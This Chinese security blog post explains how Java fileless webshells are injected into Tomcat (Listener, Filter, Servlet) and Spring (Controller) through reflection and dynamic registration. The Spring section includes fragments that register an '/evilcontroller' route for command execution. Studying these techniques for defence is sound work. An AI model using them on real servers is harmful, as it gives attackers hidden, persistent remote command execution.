前言
解决远程环境不出网。
Java内存马注入的两种姿势:
- 动态注册添加新的listener/filter/servlet/controller等等
- agent注入修改已有class,插入恶意代码
class对象
java中的对象可以分为两种对象:Class对象和实例对象。
- 信息属性:从对象的作用看,Class对象保存每个类型运行时的类型信息,如类 名、属性、方法、父类信息等等。在JVM中,一个类只对应一个Class对象。
- 普适性:Class对象是java.lang.Class类的对象,和其他对象一样,我们可以获取 并操作它的引用。
- 运行时唯一性:每当JVM加载一个类就产生对应的Class对象,保存在堆区,类 型和它的Class对象时一一对应的关系。一旦类被加载了到了内存中,那么不论通过哪种 方式获得该类的Class对象,它们返回的都是指向同一个java堆地址上的Class对象引用。 JVM不会创建两个相同类型的Class对象。
Class类没有公共的构造方法,Class对象是在类加载的时候由Java虚拟机以及通过调用类加载器中的 defineClass 方法
自动构造的,因此不能显式地声明一个Class对象。
类加载
类被加载到内存的过程以及在之前这篇记录过了
[类的动态加载 | Atlant1c`s blog](http://www.atlant1c.cn/2024/02/20/类的动态加载/)
- 加载
- 链接
- 初始化
所有的类都是在对其第一次使用时,动态加载到JVM中的(懒加载)。
触发类加载的方式
- Class.forName(“类的全限定名”)
- new 类构造方法
- 加载字节码
重点看看通过网络加载字节码方式来调用外部类
loadclass
:判断是否已加载,使用双亲委派模型,请求父加载器,都为空,使用findclass
findclass
:根据名称或位置加载.class字节码,然后使用defineClass
defineclass
:解析定义.class字节流,返回class对象loadClass
的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是 双亲委派机制),在前面没有找到的情况下,执行findClass
findClass
的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中 说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交 给 defineClass
defineClass
的作用是处理前面传入的字节码,将其处理成真正的Java类
classloader的方法
1 | jxxload_help.PathVFSJavaLoader#loadClassFromBytes |
tomcat类加载器需要破坏双亲委派机制
tomcat是个web容器,要解决以下问题
- 一个web容器可能要部署两个或者多个应用程序,不同的应用程序,可能会依赖同一个第三方类库的不同版本,因此要保证每一个应用程序的类库都是独立、相互隔离 的。
- 部署在同一个web容器中的相同类库的相同版本可以共享,否则,会有重复的类 库被加载进JVM
- web容器也有自己的类库,不能和应用程序的类库混淆,需要相互隔离
- web容器支持jsp文件修改后不用重启,jsp文件也是要编译成.class文件的,支持 HotSwap功能
Tomcat内存马
Listener内存马
请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
- ServletContext,服务器启动和终止时触发
- Session,有关Session操作时触发
- Request,访问服务时触发
用Request来做内存马,因为只要访问服务就会触发
源码分析
ServletRequestListener接口
Tomcat引入listener需要实现两种接口:
- LifecycleListener
- EvenListener(JDK)
前者用于初始化Tomcat,后者在Tomcat有众多继承的类和接口
注意ServletRequestListener
接口
1 | package javax.servlet; |
其中有两个方法,用于监听ServletRequest
对象的创建和销毁。所以访问任意资源都会触发这两个方法。
修改web.xml
1 | <listener> |
StandardContext对象
用来添加恶意的listener,在requestInitialized
处下断点得到调用堆栈
1 | requestInitialized:14, TestListener (org.example.TomcatListener) |
接着看到org.apache.catalina.core.StandardContext#fireRequestInitEvent
返回的是applicationEventListenersList
属性值
applicationEventListenersList
属性值又是在org.apache.catalina.core.StandardContext#addApplicationEventListener
添加的。
Demo
在jsp中如何获得StandardContext
对象
1 | //反射创建servletContext |
在tomcat9尝试的,发现以下两种都没法利用
方式一:
1 | <% |
方式二:
1 | WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
完整jsp
1 | <%@ page import="org.apache.catalina.core.StandardContext" %> |
在spring注册路由,访问localhost:8080/memShell_war_exploded/listener
写入内存马,再执行命令
Filter内存马
前置知识
ServletContext:
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。
ApplicationContext:
org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。
StandardContext:
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)
源码分析
这里通过一个demo来调试
1 | package org.example.TomcatFilter; |
xml:
1 | <filter> |
接下来看看tomcat是如何通过web.xml生成的filter对象。
在Demo1第18行位置打上断点,来看一下doFilter
可以看到两个过滤器,第一个是我们定义的,第二个是tomcat自带的。
步入到org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
方法看到filterConfig只有Tomcat自带的那个过滤器,因为我们是从自定义的那个过滤器进去的,他是按顺序加载的,我们那个过滤器已经加载过了,
打一个新断点,然后恢复程序再发请求,即可停留
步入进internalDoFilter方法,可以看到我们自定义的那个过滤器
internalDoFilter方法中又调用了doFilter方法就步入到了我们重写的这个doFilter方法里面。
filterChain中的值继续改变,说明filterChain中的与filter相关内容在创建是就已经填入了
因此进入ApplicationFilterFactory
看看
存放着过滤器名,过滤器实例
将filterMap的内容添加到filterChain中,并返回filter的值
可知这三个属性都是与filter有关的
- FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
- FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息
- FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和对应的 URLPattern
只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了
Demo
1 | <%@ page import="java.lang.reflect.Field" %> |
Servlet内存马
servlet是一个Java应用程序,运行在服务器端,用来处理客户端请求并作出响应的程序。servlet没有main方法不能独立运行,需要使用servlet容器比如tomcat来创建。当我们通过URL来访问servlet,首先会在servlet容器中判断该URL是由哪个servlet处理的,当前容器中是否有这个servlet实例,如果没有则创建servlet实例,并交由对应servlet的service方法来处理请求,处理结束后再返回web服务器。
源码分析
本地没有catalina,加个依赖用来调试代码。
1 | <dependency> |
Catalina
是Tomcat的核心组件,是Servlet容器,Catalina包含了所有的容器组件,其他模块均为Catalina提供支撑。通过Coyote模块提供连接通信,Jasper模块提供JSP引擎,Naming提供JNDI服务,Juli提供日志服务。结构如下:主要的功能包括接收请求,处理请求,返回结果。但是这些具体的实现是在catalina里面的子容器里面,我们在对应的文章里面讲解,此处聚焦在Catalina的源代码提供的功能上。
处理上面这些,Catalina还提供启动入口,关闭入口等。
Servlet创建
ContextConfig调用了webConfig方法来获取web.xml的配置,并且使用configureContext()方法依次读取了 Filter、Listenert的配置及其映射。
进到configureContext()方法
在获取servlet处打上断点。
通过StandardContext#createWrapper()
,创建wrapper对象。StandardContext
是可以动态获取的,因此可以通过StandardContext.createWrapper
方法获取到StandardWrapper
对象。
接下来设置了启动优先级LoadOnStartUp
,以及servlet的Name。
在servlet的配置当中即(web.xml),
</load-on-startup>
的含义是:
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。
然后调用org.apache.catalina.core.StandardWrapper#setServletClass
设置Servlet的Class。
最后调用org.apache.catalina.core.StandardContext#addChild
将创建并配置好的 Wrapper 添加到 Context 中。
循环调用org.apache.catalina.core.StandardContext#addServletMappingDecoded
方法,将web.xml配置的Servlet-Mapper也就是url路径和servlet类做映射。
Servlet加载
看到org.apache.catalina.core.StandardContext#loadOnStartup
方法
判断了loadOnStartup
属性是否大于等于0,如果为真则将wapper加入list里面,实现了自动加载。
所以我们传入内存马时通过反射修改warpper对象的loadOnStartup
属性将其追加到list中。
调用堆栈
1 | loadOnStartup:4626, StandardContext (org.apache.catalina.core) |
Demo
1 | <%@ page import="java.lang.reflect.Field" %> |
还是先访问jsp
然后执行命令
Spring内存马
Controller内存马。
@Controller
是由 @Component
作为元注解组成的注解。它允许 Spring 自动检测自定义 Bean。
换句话说,无需编写任何明确的代码,Spring 就能做到:
- 扫描应用,查找注解为
@Component
的类 - 将它们实例化,并注入任何指定的依赖
- 在需要的地方注入
环境
pom.xml
1 | <dependencies> |
web.xml
1 | <context-param> |
Spring配置文件
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
测试类
1 | package org.example; |
源码分析
打断点
Controller的注册
org.springframework.web.servlet.DispatcherServlet#doDispatch
方法处理web请求
调用HandlerAdapter#handle处理request和response。并且此处用getHandler方法获取了mappedHandler的Handler
在lookupHandlerMethod方法,从mappingRegistry中获取了路由
也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马。
在AbstractHandlerMethodMapping中就提供了registryMapping添加路由。
但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化
AbstractHandlerMethodMapping分析
AbstractHandlerMethodMapping
的afterProperties
用于bean初始化
initHandlerMethod()
遍历所有bean传入processCandidateBean
处理bean,也就是controller
在processCandidateBean
中,getType
获取bean类型,通过isHandler
进行类型判断,如果bean有controller
或RequestMapping
注解,就进入detectHandlerMethods
解析bean
detectHandlerMethods
使用getMappingForMethod
创建RequsetMappingInfo
处理完后用registryHandlerMethod
建立方法到RequestyMappingInfo
的映射。也就是注册路由
registry传入的参数mapping,handler,method。mapping存储了方法映射的URL路径。handler为controller对象。method为反射获取的方法。
Demo
需要先获取ServletContext,然后从其中获取WebApplicationContext,最后才能获取到Spring容器上下文
获取ServletContext
首先需要获取到ServletContext对象,它是在Web应用程序中全局存储和访问数据和资源的地方。
通过request对象或者ContextLoader获取ServletContext
1
2
3
4// 1
ServletContext servletContext = request.getServletContext();
// 2
ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();获取request可以用RequestContextHolder
1
2HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder
.getRequestAttributes()).getRequest();
获取WebApplicationContext
在内存马的构造中,都会获取容器的context对象。在Tomcat中获取的是StandardContext
,spring中获取的是WebApplicationContext
。WebApplicationContext继承了BeanFactory,所以能用getBean直接获取RequestMappingHandlerMapping,进而注册路由。
所以重点是如何获取WebApplicationContext
ServletContext
看作是一个全局存储区,用于存储和访问Web应用中的全局数据和资源。
webApplicationContext
对象存储在ServletContext
的键值为WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE
可以直接用servletContext#getAttribute()
获取属性值
1 | WebApplicationContext wac = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE); |
webApplicationContextUtils提供了下面两种方法获取webApplicationContext。需要传入servletContext
1 | WebApplicationContextUtils.getRequeiredWebApplicationContext(ServletContext s); |
spring 5的WebApplicationContextUtils已经没有getWebApplicationContext方法
直接通过ContextLoader获取,不用再经过servletContext。不过ContextLoader一般会被ban
1 | WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); |
通过RequestContextHolder获取request,然后获取servletRequest后通过RequestContextUtils得到WebApplicationContext
1 | WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); |
用RequestContextHolder直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT中获取Context
1 | WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); |
直接反射获取WebApplicationContext
1 | java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); |
模拟注册Controller
在spring2.5-3.1使用DefaultAnnotationHandlerMapping
处理URL映射。spring3.1以后使用RequestMappingHandlerMapping
registryMapping直接注册requestMapping
直接通过getBean就能获取RequestMappingHandlerMapping
1
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
生成RequestMappingInfo。需要传入PatternsRequestCondition(Controller映射的URL)和RequestMethodsRequestCondition(HTTP请求方法)
1
2
3
4
5PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
恶意Controller:
1 |
|
反射获取shell方法
1 | Method method = InjectedController.class.getMethod("cmd"); |
调用ReqgistryMapping注册
1 | requestMappingHandlerMapping.registerMapping(info, injectedController, method); |
完整demo
1 | package org.example.SpringController; |
先访问Inject进行controller注册。然后访问controller映射路径evilcontroller,带上参数就能RCE。
总结
Tomcat注入的三种内存马都是注册恶意的Javaweb组件。通过debug了解工作的流程,可找到控制的对象来进行注入内存马。
本文相关代码Learn-the-menShell-demo/ at master · at1ANtic/Learn-the-menShell-demo (github.com)
参考:
Java Agent 从入门到内存马 - 先知社区 (aliyun.com)
知识星球 | 深度连接铁杆粉丝,运营高品质社群,知识变现的工具 (zsxq.com)
论如何优雅的注入Java Agent内存马 - 先知社区 (aliyun.com)
Spring内存马——Controller/Interceptor构造 - 先知社区 (aliyun.com)
java Filter内存马分析 - 先知社区 (aliyun.com)
Java Listener内存马 - zpchcbd - 博客园 (cnblogs.com)
Tomcat内存马实现原理解析-servlet内存马 | 藏青’s BLOG (cangqingzhe.github.io)